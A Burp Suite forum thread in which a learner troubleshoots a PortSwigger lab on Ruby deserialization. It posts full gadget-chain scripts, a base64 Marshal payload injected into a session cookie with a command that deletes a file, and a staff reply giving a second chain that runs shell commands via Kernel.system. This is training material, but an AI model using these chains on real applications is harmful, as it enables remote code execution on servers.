Burp Suite User Forum

Create new post

Exploiting Ruby deserialization using a documented gadget chain

sapphire | Last updated: Apr 17, 2022 02:54PM UTC

Your solution to this lab is not working. After update script from https://www.elttam.com/blog/ruby-deserialization/ its not working. #!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) and compile in https://www.onlinegdb.com/online_ruby_compiler i get that response, and he is 100% correct with this what others solutions ex. on yt BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uBjoRQGxvYWRlZF9mcm9tSSIgfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0BjoGRVRvOwgAOhFAZGV2ZWxvcG1lbnRG After encode: GET / HTTP/1.1 Host: ac401fba1e813cfdc1b61003001b0048.web-security-academy.net Cookie: session=%42%41%68%56%4f%68%56%48%5a%57%30%36%4f%6c%4a%6c%63%58%56%70%63%6d%56%74%5a%57%35%30%57%77%5a%76%4f%68%68%48%5a%57%30%36%4f%6b%52%6c%63%47%56%75%5a%47%56%75%59%33%6c%4d%61%58%4e%30%42%7a%6f%4c%51%48%4e%77%5a%57%4e%7a%57%77%64%76%4f%68%35%48%5a%57%30%36%4f%6c%4e%76%64%58%4a%6a%5a%54%6f%36%55%33%42%6c%59%32%6c%6d%61%57%4e%47%61%57%78%6c%42%6a%6f%4b%51%48%4e%77%5a%57%4e%76%4f%68%74%48%5a%57%30%36%4f%6c%4e%30%64%57%4a%54%63%47%56%6a%61%57%5a%70%59%32%46%30%61%57%39%75%42%6a%6f%52%51%47%78%76%59%57%52%6c%5a%46%39%6d%63%6d%39%74%53%53%49%67%66%48%4a%74%49%43%39%6f%62%32%31%6c%4c%32%4e%68%63%6d%78%76%63%79%39%74%62%33%4a%68%62%47%55%75%64%48%68%30%42%6a%6f%47%52%56%52%76%4f%77%67%41%4f%68%46%41%5a%47%56%32%5a%57%78%76%63%47%31%6c%62%6e%52%47 Response: HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Connection: close Content-Length: 3949 <h4>Internal Server Error</h4> <p class=is-warning>/usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `initialize&apos;: No such file or directory @ rb_sysopen - |rm /home/carlos/morale.txt (Errno::ENOENT) from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `open&apos; from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `data&apos; from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:158:in `name&apos; from /usr/lib/ruby/2.7.0/rubygems/source/specific_file.rb:65:in `&lt;=&gt;&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:219:in `sort&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:219:in `tsort_each_child&apos; from /usr/lib/ruby/2.7.0/tsort.rb:415:in `call&apos; from /usr/lib/ruby/2.7.0/tsort.rb:415:in `each_strongly_connected_component_from&apos; from /usr/lib/ruby/2.7.0/tsort.rb:349:in `block in each_strongly_connected_component&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:215:in `each&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:215:in `tsort_each_node&apos; from /usr/lib/ruby/2.7.0/tsort.rb:347:in `call&apos; from /usr/lib/ruby/2.7.0/tsort.rb:347:in `each_strongly_connected_component&apos; from /usr/lib/ruby/2.7.0/tsort.rb:281:in `each&apos; from /usr/lib/ruby/2.7.0/tsort.rb:281:in `to_a&apos; from /usr/lib/ruby/2.7.0/tsort.rb:281:in `strongly_connected_components&apos; from /usr/lib/ruby/2.7.0/tsort.rb:257:in `strongly_connected_components&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:77:in `dependency_order&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:100:in `each&apos; from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements&apos; from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:207:in `marshal_load&apos; from -e:13:in `load&apos; from -e:13:in `&lt;main&gt;&apos;</p> PS: stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt 1>&2") not working too Could you help me or fix it? I spend a lot of hours and this room cannot be pass.

Uthman, PortSwigger Agent | Last updated: Apr 18, 2022 11:28AM UTC

sapphire | Last updated: Apr 18, 2022 05:06PM UTC

I checked article below. my steps: 1. I Open the lab and log in as user wiener 2. Notice marshaled session cookie 3. Use following code at: https://www.onlinegdb.com/online_ruby_compiler #!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) 4. CORRECT BASE64 output for payload: BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uBjoRQGxvYWRlZF9mcm9tSSIgfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0BjoGRVRvOwgAOhFAZGV2ZWxvcG1lbnRG 5. Paste base64 payload in decoder tab in Burp Suite Professional and URL encode payload 6. With intercept ON, navigate home in the lab environment 7. Paste the URL encoded payload in the session cookie 8. Receive error as follows: 500 Internal Server Error Internal Server Error</h4> <p class=is-warning>/usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `initialize&apos;: No such file or directory @ rb_sysopen - |rm /home/carlos/morale.txt (Errno::ENOENT) from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `open&apos; from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:116:in `data&apos; from /usr/lib/ruby/2.7.0/rubygems/stub_specification.rb:158:in `name&apos; from /usr/lib/ruby/2.7.0/rubygems/source/specific_file.rb:65:in `&lt;=&gt;&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:219:in `sort&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:219:in `tsort_each_child&apos; from /usr/lib/ruby/2.7.0/tsort.rb:415:in `call&apos; from /usr/lib/ruby/2.7.0/tsort.rb:415:in `each_strongly_connected_component_from&apos; from /usr/lib/ruby/2.7.0/tsort.rb:349:in `block in each_strongly_connected_component&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:215:in `each&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:215:in `tsort_each_node&apos; from /usr/lib/ruby/2.7.0/tsort.rb:347:in `call&apos; from /usr/lib/ruby/2.7.0/tsort.rb:347:in `each_strongly_connected_component&apos; from /usr/lib/ruby/2.7.0/tsort.rb:281:in `each&apos; from /usr/lib/ruby/2.7.0/tsort.rb:281:in `to_a&apos; from /usr/lib/ruby/2.7.0/tsort.rb:281:in `strongly_connected_components&apos; from /usr/lib/ruby/2.7.0/tsort.rb:257:in `strongly_connected_components&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:77:in `dependency_order&apos; from /usr/lib/ruby/2.7.0/rubygems/dependency_list.rb:100:in `each&apos; from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requirements&apos; from /usr/lib/ruby/2.7.0/rubygems/requirement.rb:207:in `marshal_load&apos; from -e:13:in `load&apos; from -e:13:in `&lt;main&gt;&apos

Uthman, PortSwigger Agent | Last updated: Apr 19, 2022 05:38PM UTC

Thanks.

Try this ruby code:
Gem::SpecFetcher
Gem::Installer

module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system) rescue nil

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "ls")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)
puts Base64.encode64(payload)

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.